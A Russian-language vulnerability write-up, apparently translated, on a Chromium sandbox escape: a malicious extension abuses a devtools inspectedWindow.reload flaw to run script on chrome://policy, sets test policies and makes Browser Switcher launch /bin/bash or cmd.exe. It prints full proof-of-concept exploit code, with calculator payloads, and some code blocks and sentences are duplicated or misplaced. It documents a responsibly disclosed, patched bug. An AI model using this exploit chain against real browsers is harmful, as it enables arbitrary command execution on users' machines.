Как выйти из песочницы Chrome с помощью DevTools

Как выйти из песочницы Chrome с помощью DevTools

Статья описывает, как были найдены 2 уязвимости в браузере Chromium, которые позволяли выйти из песочницы через расширение браузера при минимальном взаимодействии пользователя. В результате Google выплатила за отчет о баге $20 000.

image

Вкратце, баги позволяли вредоносному расширению Chrome выполнять любые команды оболочки на ПК, что потенциально могло быть использовано для установки более опасного вредоносного ПО. Вместо простой кражи паролей и компрометации браузера злоумышленник мог получить полный контроль над операционной системой.

WebUI и песочница Chrome

Весь недоверенный код, исполняемый в Chromium, помещается в песочницу, что означает, что он выполняется в изолированной среде без доступа к неразрешенным данным. На практике это значит, что JavaScript-код, исполняемый в расширении Chrome, может взаимодействовать только с собой и с API, доступными расширению. Доступ к этим API зависит от разрешений, предоставленных пользователем. Однако в худшем случае с такими разрешениями можно лишь украсть логины и историю браузера. Всё должно оставаться в рамках браузера.

Кроме того, Chromium использует несколько страниц для отображения графического интерфейса с помощью механизма WebUI. Эти страницы имеют префикс URL-протокола chrome:// и включают такие страницы, как chrome://settings и chrome://history. Их цель — предоставлять пользователю интерфейс для взаимодействия с функционалом Chromium, разработанный с использованием веб-технологий, таких как HTML, CSS и JavaScript. Поскольку эти страницы отображают и модифицируют информацию, связанную с внутренними компонентами браузера, они считаются привилегированными и имеют доступ к частным API, используемым только здесь. Эти API позволяют JavaScript-коду на стороне WebUI взаимодействовать с нативным C++-кодом самого браузера.

Препятствие для злоумышленника в доступе к WebUI страницам важно, поскольку код, запущенный на странице WebUI, может полностью обойти песочницу Chromium. Например, на странице chrome://downloads нажатие на загрузку .exe-файла запускает исполняемый файл, и если это действие выполнено с помощью вредоносного скрипта, он может выйти из песочницы.

Выполнение недоверенного JavaScript-кода на страницах chrome:// — это распространенный вектор атак, поэтому приемная сторона частных API проводит валидацию, чтобы убедиться, что она не совершает действий, которые пользователь не мог бы выполнить вручную. Вернувшись к примеру chrome://downloads, Chromium защищается от этого сценария, требуя, чтобы для открытия файла со страницы загрузок это действие было вызвано реальным пользовательским вводом, а не просто JavaScript-кодом.

Разумеется, иногда существуют исключения, которые разработчики Chromium не предусмотрели.

О корпоративных политиках

Поиск уязвимости начался с изучения системы корпоративных политик Chromium. Она предназначена для администраторов, чтобы применять настройки на устройствах, принадлежащих компании или учебному заведению. Обычно политики привязаны к аккаунту Google и загружаются с сервера управления Google.

Корпоративные политики включают и те, которые пользователь не смог бы изменить самостоятельно. Например, с помощью политик можно отключить пасхалку — игру с динозавром:

Кроме того, политики делятся на две категории: политики пользователя и политики устройства.

  • Политики устройства используются для управления настройками на всем устройстве с Chrome OS. Они могут включать простые ограничения по входу в аккаунт или настройку канала обновлений. Некоторые из них могут даже изменять работу микропрограммы устройства (например, предотвращать режим разработчика или откатывать ОС). Однако, поскольку эта уязвимость не касается Chrome OS, политики устройства здесь можно игнорировать.
  • Политики пользователя применяются к конкретному пользователю или экземпляру браузера. В отличие от политик устройства, они доступны на всех платформах и могут быть настроены локально, а не полагаться на серверы Google. Например, на Linux файл JSON, помещенный в /etc/opt/chrome/policies, устанавливает политики пользователя для всех экземпляров Google Chrome на устройстве.

Настройка политик пользователя этим способом несколько неудобна, так как для записи в каталог политик требуются права root. Однако что, если бы существовал способ изменить эти политики без создания файла?

WebUI для политики

Примечательно, что Chromium имеет WebUI для просмотра применяемых к устройству политик на странице chrome://policy. Он показывает список применяемых политик, логи службы политик и позволяет экспортировать эти политики в файл JSON.

Это полезно, но в обычном режиме редактировать политики с этой страницы невозможно. Если, конечно, не существует не задокументированной функции, позволяющей это сделать.

Использование тестовой страницы политики

При исследовании по теме был обнаружен следующий пункт в примечаниях к релизу Chrome Enterprise для Chrome v117:

Chrome представит страницу chrome://policy/test
chrome://policy/test позволит клиентам тестировать политики на каналах Beta, Dev и Canary. Если будет достаточно запросов, эта функциональность может быть добавлена в стабильный канал.

Оказалось, что это единственное место в документации Chromium, где упоминается данная функция. Без других источников был изучен исходный код Chromium для понимания её работы.

Поиск chrome://policy/test в Chromium Code Search привел к JS-коду WebUI для тестовой страницы политики, где были обнаружены вызовы частных API для установки тестовых политик:

export class PolicyTestBrowserProxy {
  applyTestPolicies(policies: string, profileSeparationResponse: string) {
    return sendWithPromise('setLocalTestPolicies', policies, profileSeparationResponse);
  }
  ...
}

Как уже упоминалось, страницы WebUI имеют доступ к частным API, и sendWithPromise() — один из них. Эта функция является оболочкой для chrome.send(), отправляющей запрос к обработчику на языке C++. Обработчик затем выполняет необходимые действия внутри браузера и может вернуть значение, переданное обратно на JS-сторону с помощью sendWithPromise().

Таким образом, была предпринята попытка вызвать это в консоли JS.

//импортируем cr.js, так как нужен sendWithPromise

let cr = await import('chrome://resources/js/cr.js');

await cr.sendWithPromise("setLocalTestPolicies", "", "");

К сожалению, выполнение команды привело к краху браузера. В журнале ошибок появилась следующая строка:

	 [17282:17282:1016/022258.064657:FATAL:local_test_policy_loader.cc(68)] Check failed: policies.has_value() && policies->is_list(). List of policies expected

Похоже, что для первого аргумента ожидается строка JSON с массивом политик, что логично. Давайте предоставим одну. К счастью, policy_test_browser_proxy.ts подсказывает нужный формат, что избавляет от догадок.

Похоже, что для первого аргумента ожидается строка JSON с массивом политик, что логично. Давайте предоставим одну. К счастью, policy_test_browser_proxy.ts подсказывает нужный формат, что избавляет от догадок.

let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([
  { 
    name: "AllowDinosaurEasterEgg",
    value: false,
    level: 1, 
    source: 1,
    scope: 1
  }
]);
await cr.sendWithPromise("setLocalTestPolicies", policy, "");

После выполнения команды оказалось, что всё работает: можно установить произвольную политику пользователя, просто запустив JavaScript на странице chrome://policy. Очевидно, что здесь что-то пошло не так, так как функция не была активирована явно.

Недостаточная валидация WebUI

Для ясности, вот как должна выглядеть тестовая страница политики, если она активирована правильно.

Чтобы активировать эту страницу, необходимо установить политику PolicyTestPageEnabled (которая также нигде не задокументирована). Если эта политика изначально не включена, то chrome://policy/test просто перенаправляет обратно на chrome://policy.

Возникает вопрос: почему удалось установить тестовые политики, хотя политика PolicyTestPageEnabled была отключена? Для поиска ответа снова был использован Chromium Code Search, и был найден обработчик WebUI для функции setLocalTestPolicies на стороне C++.

void PolicyUIHandler::HandleSetLocalTestPolicies(
    const base::Value::List& args) {
  std::string policies = args[1].GetString();

  policy::LocalTestPolicyProvider* local_test_provider =
      static_cast(
          g_browser_process->browser_policy_connector()
              ->local_test_policy_provider());

  CHECK(local_test_provider);

  Profile::FromWebUI(web_ui())
      ->GetProfilePolicyConnector()
      ->UseLocalTestPolicyProvider();

  local_test_provider->LoadJsonPolicies(policies);
  AllowJavascript();
  ResolveJavascriptCallback(args[0], true);
}

Единственная проверка, которую выполняет эта функция, заключается в проверке наличия local_test_provider; в противном случае браузер просто завершает работу. Но в каких случаях local_test_provider может существовать?

Чтобы ответить на этот вопрос, был найден код, который создает поставщика локальных тестовых политик.

void PolicyUIHandler::HandleSetLocalTestPolicies(
    const base::Value::List& args) {
  std::string policies = args[1].GetString();

  policy::LocalTestPolicyProvider* local_test_provider =
      static_cast(
          g_browser_process->browser_policy_connector()
              ->local_test_policy_provider());

  CHECK(local_test_provider);

  Profile::FromWebUI(web_ui())
      ->GetProfilePolicyConnector()
      ->UseLocalTestPolicyProvider();

  local_test_provider->LoadJsonPolicies(policies);
  AllowJavascript();
  ResolveJavascriptCallback(args[0], true);
}

Эта функция действительно проверяет, разрешено ли использование тестовых политик. Если они не разрешены, то функция возвращает null, и попытка установить тестовые политики, как показано выше, вызовет сбой.

Может быть, IsPolicyTestingEnabled() работает некорректно? Вот как выглядит эта функция:

bool IsPolicyTestingEnabled(PrefService* pref_service,
                            version_info::Channel channel) {
  if (pref_service &&
      !pref_service->GetBoolean(policy_prefs::kPolicyTestPageEnabled)) {
    return false;
  }

  if (channel == version_info::Channel::CANARY ||
      channel == version_info::Channel::DEFAULT) {
    return true;
  }

  return false;
}

Эта функция сначала проверяет, установлено ли значение kPolicyTestPageEnabled в true, что и является политикой, которая обычно активирует тестовую страницу политик. Однако стоит заметить, что при вызове IsPolicyTestingEnabled() первый аргумент, pref_service, установлен в null. Это приводит к тому, что проверка игнорируется.

Таким образом, остаётся только проверка канала. В данном контексте "канал" означает канал выпуска браузера, который может быть стабильным, бета, dev или canary. В этом случае разрешены только Channel::CANARY и Channel::DEFAULT. Следовательно, браузер настроен на один из этих каналов.

Знает ли браузер, на каком канале он находится? Вот функция, определяющая это:

ChannelState GetChannelImpl() {
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
  const char* const env = getenv("CHROME_VERSION_EXTRA");
  const std::string_view env_str =
      env ? std::string_view(env) : std::string_view();

  if (env_str == "stable")
    return {version_info::Channel::STABLE, /*is_extended_stable=*/false};
  if (env_str == "extended")
    return {version_info::Channel::STABLE, /*is_extended_stable=*/true};
  if (env_str == "beta")
    return {version_info::Channel::BETA, /*is_extended_stable=*/false};
  if (env_str == "unstable")  // linux version of "dev"
    return {version_info::Channel::DEV, /*is_extended_stable=*/false};
  if (env_str == "canary") {
    return {version_info::Channel::CANARY, /*is_extended_stable=*/false};
  }
#endif  

  return {version_info::Channel::UNKNOWN, /*is_extended_stable=*/false};
}

Если не разбираться в C-препроцессоре, часть #if BUILDFLAG(GOOGLE_CHROME_BRANDING) означает, что заключённый в неё код будет скомпилирован только если BUILDFLAG(GOOGLE_CHROME_BRANDING) равен true. Иными словами, если используется обычный Chromium, а не брендированный Google Chrome, канал всегда будет Channel::UNKNOWN. Это также означает, что, к сожалению, баг не сработает на стабильных сборках Google Chrome, так как канал выпуска настроен на правильное значение.

enum class Channel {
  UNKNOWN = 0,
  DEFAULT = UNKNOWN,
  CANARY = 1,
  DEV = 2,
  BETA = 3,
  STABLE = 4,
};

Рассматривая определение перечисления каналов, можно заметить, что Channel::UNKNOWN фактически совпадает с Channel::DEFAULT. Таким образом, в Chromium и его производных проверка канала в IsPolicyTestingEnabled() всегда будет проходить, и функция всегда возвращает true.

Выход из песочницы через Browser Switcher

Теперь возникает вопрос: что можно сделать с возможностью установки произвольных пользовательских политик? Чтобы ответить на этот вопрос, был изучен список корпоративных политик Chrome.

Одна из возможностей корпоративных политик — это модуль поддержки устаревших браузеров (Legacy Browser Support), также известный как Browser Switcher. Он предназначен для пользователей Internet Explorer, обеспечивая запуск альтернативного браузера при посещении определённых URL-адресов в Chromium. Все поведения этой функции можно контролировать с помощью политик.

Политика AlternativeBrowserPath особенно выделялась. В сочетании с AlternativeBrowserParameters это позволяет Chromium запускать любую команду оболочки в качестве "альтернативного браузера". Однако стоит отметить, что это работает только на Linux, macOS и Windows, поскольку на других ОС политика Browser Switcher не существует.

Установим следующие политики, чтобы заставить Chromium запускать калькулятор:

	name: "BrowserSwitcherEnabled"
value: true

name: "BrowserSwitcherUrlList"
value: ["example.com"]

name: "AlternativeBrowserPath"
value: "/bin/bash"

name: "AlternativeBrowserParameters"
value: ["-c", "xcalc # ${url}"]

Каждый раз, когда браузер пытается перейти на example.com, срабатывает Browser Switcher, запускающий /bin/bash. ["-c", "xcalc # https://example.com"] передаются как аргументы. Параметр -c указывает bash выполнять команду, указанную в следующем аргументе. Заметим, что URL страницы подставляется в ${url}, и чтобы это не мешало выполнению команды, можно просто добавить #, превращающий его в комментарий. Таким образом, можно заставить Chromium выполнить команду /bin/bash -c 'xcalc # https://example.com'.

Использовать это на странице chrome://policy довольно просто. Нужно только установить указанные выше политики и вызвать window.open("https://example.com"), чтобы активировать Browser Switcher.

	 let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([
  { //включение функции Browser Switcher
    name: "BrowserSwitcherEnabled",
    value: true,
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //задание URL, на котором сработает Browser Switcher
    name: "BrowserSwitcherUrlList",
    value: ["example.com"],
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //задание исполняемого пути
    name: "AlternativeBrowserPath",
    value: "/bin/bash",
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //задание аргументов для исполняемого файла
    name: "AlternativeBrowserParameters",
    value: ["-c", "xcalc # https://example.com"],
    level: 1,
    source: 1,
    scope: 1
  }
]);

//установка указанных выше политик
await cr.sendWithPromise("setLocalTestPolicies", policy, "");
//переход на example.com, который активирует Browser Switcher
window.open("https://example.com")

Вот и выход из песочницы. Удалось выполнить произвольную команду оболочки через JavaScript, работающий на chrome://policy.

Взлом API Devtools

Можно заметить, что для выполнения этой атаки жертве необходимо вставить вредоносный код в консоль браузера, находясь на странице chrome://policy. Убедить кого-то сделать это довольно сложно, что делает уязвимость бесполезной. Поэтому теперь цель — каким-то образом автоматически выполнить этот JavaScript на странице chrome://policy.

Самый вероятный способ сделать это — создать вредоносное расширение для Chrome. Расширения Chrome обладают значительной поверхностью атаки, поскольку по своей природе могут внедрять JavaScript на страницы. Однако, как уже было упомянуто, расширениям запрещено выполнять JavaScript на привилегированных страницах WebUI, поэтому требовалось найти способ обойти это ограничение.

Существует четыре основных способа, с помощью которых расширение может выполнять JavaScript на страницах:

  1. chrome.scripting, который непосредственно выполняет JavaScript в конкретной вкладке.
  2. chrome.tabs в Manifest v2, который работает аналогично chrome.scripting.
  3. chrome.debugger, использующий протокол удаленной отладки.
  4. chrome.devtools.inspectedWindow, который взаимодействует с инспектируемой страницей, когда открыты инструменты разработчика.

При исследовании этих методов внимание было сосредоточено на chrome.devtools.inspectedWindow, поскольку он показался наименее защищённым. Это предположение оказалось верным.

API chrome.devtools работает таким образом, что все расширения, использующие их, должны иметь поле devtools_page в манифесте. Например:

let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([
  { //включение функции Browser Switcher
    name: "BrowserSwitcherEnabled",
    value: true,
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //задание URL, на котором сработает Browser Switcher
    name: "BrowserSwitcherUrlList",
    value: ["example.com"],
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //задание исполняемого пути
    name: "AlternativeBrowserPath",
    value: "/bin/bash",
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //задание аргументов для исполняемого файла
    name: "AlternativeBrowserParameters",
    value: ["-c", "xcalc # https://example.com"],
    level: 1,
    source: 1,
    scope: 1
  }
]);

//установка указанных выше политик
await cr.sendWithPromise("setLocalTestPolicies", policy, "");
//переход на example.com, который активирует Browser Switcher
window.open("https://example.com")

То есть каждый раз, когда пользователь открывает инструменты разработчика, страница инструментов разработчика загружает devtools.html в качестве iframe. Внутри этого iframe расширение может использовать все API chrome.devtools. Подробности можно найти в документации по API.

При изучении API chrome.devtools.inspectedWindow стало известно о предыдущем баге, описанном Давидом Эрчегом, связанном с chrome.devtools.inspectedWindow.eval(). Ему удалось добиться выполнения кода на WebUI, открыв инструменты разработчика на обычной странице и затем запустив chrome.devtools.inspectedWindow.eval() со скриптом, который приводил к сбою страницы. Затем эту сбойную вкладку можно было перенаправить на WebUI-страницу, где запрос eval будет выполнен повторно, тем самым получив выполнение кода.

Примечательно, что API chrome.devtools должны предотвращать подобное выполнение привилегированных операций, просто отключая их использование после того, как инспектируемая страница будет перенаправлена на WebUI. Как показал отчет Давида Эрчега, ключ к обходу этого ограничения заключается в отправке запроса на выполнение eval до того, как Chrome отключит API инструментов разработчика, и обеспечении того, чтобы запрос был направлен на WebUI-страницу.

После прочтения отчета возникла мысль, что нечто подобное можно попробовать с chrome.devtools.inspectedWindow.reload(). Эта функция также способна выполнять JavaScript на инспектируемой странице, если в нее передан параметр injectedScript.

Первый признак того, что это может быть уязвимо, появился, когда была попытка вызвать inspectedWindow.reload(), когда инспектируемая страница была пустой страницей about, относящейся к WebUI. Страницы about уникальны в этом смысле, поскольку, хотя их URL и не является особенным, они наследуют разрешения и происхождение от страницы, которая их открыла. Поскольку страница about, открытая из WebUI, является привилегированной, можно ожидать, что попытка выполнить JavaScript на этой странице будет заблокирована.

К удивлению, это действительно сработало. Обратите внимание, что заголовок в alert показывает источник страницы, которым является chrome://settings, что подтверждает привилегированность страницы. Но разве API инструментов разработчика не должен был предотвратить это, полностью отключив API? Оказывается, он не учитывает пограничные случаи с страницами about. Вот код, который управляет отключением API:

	private inspectedURLChanged(event: Common.EventTarget.EventTargetEvent): void {
  if (!ExtensionServer.canInspectURL(event.data.inspectedURL())) {
    this.disableExtensions();
    return;
  }
  ...
}

Важно заметить, что проверяется только URL, а не происхождение страницы. Как показано ранее, они могут различаться. Даже если URL не вызывает подозрений, источник может быть привилегированным.

Использование about удобно, но не очень полезно в контексте создания цепочки эксплуатации. Страница chrome://policy, на которой хотелось бы получить выполнение кода, никогда не открывает никакие всплывающие окна about

, так что этот путь уже закрыт. Однако было замечено, что, хотя inspectedWindow.eval() завершилось неудачей, вызов inspectedWindow.reload() все-таки успешно сработал и выполнил JavaScript на chrome://settings. Это наводило на мысль, что у inspectedWindow.eval() есть свои проверки, чтобы убедиться, что источник инспектируемой страницы разрешен, в то время как у inspectedWindow.reload() нет своих проверок.

м вызове inspectedWindow.reload(), так что если хотя бы один из этих запросов попадет на WebUI-страницу, это обеспечит выполнение кода.

private inspectedURLChanged(event: Common.EventTarget.EventTargetEvent): void {
  if (!ExtensionServer.canInspectURL(event.data.inspectedURL())) {
    this.disableExtensions();
    return;
  }
  ...
}

Это последний элемент цепочки эксплуатации. Эта гонка на время опирается на тот факт, что инспектируемая страница и страница инструментов разработчика — это разные процессы. Когда происходит навигация на WebUI в инспектируемой странице, существует небольшое временное окно, прежде чем страница инструментов разработчика обнаружит это и отключит API. Если вызов inspectedWindow.reload() осуществляется в течение этого интервала, запрос перезагрузки попадет на WebUI-страницу.

Объединение всех элементов

Теперь, когда все шаги эксплуатации работали, началось составление кода доказательства концепции (PoC). Подытожим: этот PoC должен выполнять следующие действия:

  1. Использовать гонку на время в chrome.devtools.inspectedWindow.reload() для выполнения JavaScript-кода на chrome://policy.
  2. Этот код вызывает sendWithPromise("setLocalTestPolicies", policy), чтобы установить пользовательские политики.
  3. Установить BrowserSwitcherEnabled, BrowserSwitcherUrlList, AlternativeBrowserPath и AlternativeBrowserParameters, указав /bin/bash в качестве "альтернативного браузера".
  4. Активация браузерного переключателя через простой вызов window.open(), что запускает shell-команду.

Финальный PoC выглядит так:

	 let executable, flags;
if (navigator.userAgent.includes("Windows NT")) {
  executable = "C:\\Windows\\System32\\cmd.exe";
  flags = ["/C", "calc.exe & rem ${url}"];
}
else if (navigator.userAgent.includes("Linux")) {
  executable = "/bin/bash";
  flags = ["-c", "xcalc # ${url}"];
}
else if (navigator.userAgent.includes("Mac OS")) {
  executable = "/bin/bash";
  flags = ["-c", "open -na Calculator # ${url}"];
}

function inject_script() {
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
    (async () => {
      if (!origin.startsWith("chrome://")) return;

      let cr = await import('chrome://resources/js/cr.js');

      let policy = JSON.stringify([
        { name: "BrowserSwitcherEnabled", value: true, level: 1, source: 1, scope: 1 }, 
        { name: "BrowserSwitcherUrlList", value: ["example.com"], level: 1, source: 1, scope: 1 }, 
        { name: "AlternativeBrowserPath", value: ${JSON.stringify(executable)}, level: 1, source: 1, scope: 1 }, 
        { name: "AlternativeBrowserParameters", value: ${JSON.stringify(flags)}, level: 1, source: 1, scope: 1 }
      ]);

      await cr.sendWithPromise("setLocalTestPolicies", policy, "");

      setTimeout(() => {
        location.href = "https://example.com";
        open("about:blank");  
      }, 100);
    })()`
  });
}

function start_interval() {
  setInterval(() => {
    for (let i=0; i<3; i++) {
      inject_script(); 
    }
  });
}
async function main() {
  // Начинаем интервалы для выполнения content script
  start_interval();

  // Перенаправляем инспектируемую страницу на chrome://policy
  let tab = await chrome.tabs.get(chrome.devtools.inspectedWindow.tabId);
  await chrome.tabs.update(tab.id, {url: "chrome://policy"});

  // Если ожидание завершилось неудачей, нужно повторить или прервать выполнение
  await new Promise((resolve) => {setTimeout(resolve, 1000)});
  let new_tab = await chrome.tabs.get(tab.id);

  // Если мы на странице политики, content script не был внедрен
  if (new_tab.url.startsWith("chrome://policy")) {
    await chrome.tabs.update(tab.id, {url: tab.url});
    setTimeout(() => {
      chrome.tabs.discard(tab.id);
    }, 100);
  }
  else {
    location.reload();
  }
}
main();

И с этим все шаги PoC были завершены. Код доказательства концепции был написан, протестирован на нескольких операционных системах и отправлен в Google.

Тем не менее, оставалась одна проблема: гонка на время с .inspectedWindow.reload() была недостаточно надежной. В ходе тестирования удалось настроить ее на успешное срабатывание примерно в 70% случаев, что по-прежнему недостаточно. Несмотря на то, что сама возможность срабатывания делала уязвимость серьезной, ненадежность снижала бы её значимость. Поэтому начались поиски более стабильного решения.

Знакомый подход

В своем отчете Давид Эрчег использовал факт, что запросы отладки сохраняются после сбоя вкладки. Было интересно проверить, работает ли этот метод с .inspectedWindow.reload() тоже, поэтому он был протестирован. Также была добавлена команда debugger, и выяснилось, что двойное её выполнение вызывает сбой вкладки.

Новый PoC

let tab_id = chrome.devtools.inspectedWindow.tabId;

function inject_script() {
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
    if (!origin.startsWith("chrome://")) {
      debugger;
      return;
    }
    alert("hello from chrome.devtools.inspectedWindow.reload");`
  });
}

function sleep(ms) {
  return new Promise((resolve) => {setTimeout(resolve, ms)});
}

async function main() {
  await chrome.tabs.update(tab_id, {url: "https://example.org/"});
  await sleep(500);
  chrome.devtools.inspectedWindow.reload({"injectedScript": `location.href = "about:blank";`});
  await sleep(500);

  inject_script();
  inject_script();
  await sleep(500);
  chrome.tabs.update(tab_id, {url: "chrome://settings"});
}

main();

И это работает! Преимущество такого подхода в том, что он устраняет необходимость в гонке на время, делая эксплойт на 100% надежным. Затем этот PoC с использованием chrome://policy был отправлен в комментарии на ветку отчета о баге.

Почему же такая ошибка все еще существовала, хотя, казалось бы, должна была быть устранена 4 года назад? Ответ кроется в том, как была применена предыдущая заплатка. Google устранил уязвимость, очищая все ожидающие сообщения отладки после сбоя вкладки. Однако был добавлен исключительный случай для запросов Page.reload, чтобы их не удаляли. Таким образом, вызовы Page.reload фактически были освобождены от этой защиты, что снова делало баг возможным.

Ответ Google

После отправки отчета Google быстро подтвердил уязвимость и присвоил ей классификацию P1/S1, что означает высокий приоритет и серьезность. В течение следующих недель были реализованы следующие исправления:

  1. Добавление аргумента loaderId к команде Page.reload и проверка loaderID на стороне рендерера — это обеспечивает валидность команды для одного источника и предотвращает её срабатывание на привилегированной странице.
  2. Проверка URL в функции inspectedWindow.reload() — теперь функция не зависит только от API расширений для отзыва доступа.
  3. Проверка активации тестовых политик в обработчике WebUI — добавление рабочей проверки в функции обработчика предотвращает установку тестовых политик в целом.

В конечном итоге уязвимость с гонкой на время была зарегистрирована как CVE-2024-5836 с оценкой CVSS 8.8 (высокая). Уязвимость с крашем инспектируемой страницы получила идентификатор CVE-2024-6778 и также была оценена на 8.8.

После фиксации и объединения исправлений отчет был отправлен в панель VRP Chrome для определения награды. За обнаружение этой уязвимости было выплачено $20,000.

Таймлайн

  • 16 апреля — обнаружена уязвимость тестовых политик
  • 29 апреля — найдена ошибка race condition в inspectedWindow.reload()
  • 1 мая — отправлен отчет в Google
  • 4 мая — Google присвоил уязвимости статус P1/S1
  • 5 мая — обнаружена ошибка с крашем инспектируемой страницы, отчет обновлен
  • 6 мая — Google запросил отправить отдельные отчеты на каждую часть цепочки
  • 8 июля — отчет отмечен как исправленный
  • 13 июля — отчет отправлен на панель VRP Chrome для определения вознаграждения
  • 17 июля — панель VRP определила награду в $20,000
  • 15 октября — весь отчет стал публичным

Заключение

Главный вывод из всего этого — если искать в нужных местах, самые простые ошибки могут сложиться вместе и привести к уязвимости с неожиданно высокой значимостью. Также нельзя полагаться на безопасность кода, написанного давно, поскольку ошибка в inspectedWindow.reload работает начиная с версии Chrome v45.

И наконец, не стоит запускать полностью не задокументированные, незавершенные и небезопасные функции для всех пользователей, как это произошло с багом тестовой страницы политики. Когда уязвимость устраняется, стоит проверить, возможны ли похожие баги, и постараться закрыть их тоже.

Оригинальный отчет об ошибке можно найти здесь: crbug.com/338248595

Также POC для каждого этапа уязвимости доступен в репозитории на GitHub.

Наш канал горячее, чем поверхность Солнца!

5778 К? Пф! У нас градус знаний зашкаливает!

Подпишитесь и воспламените свой разум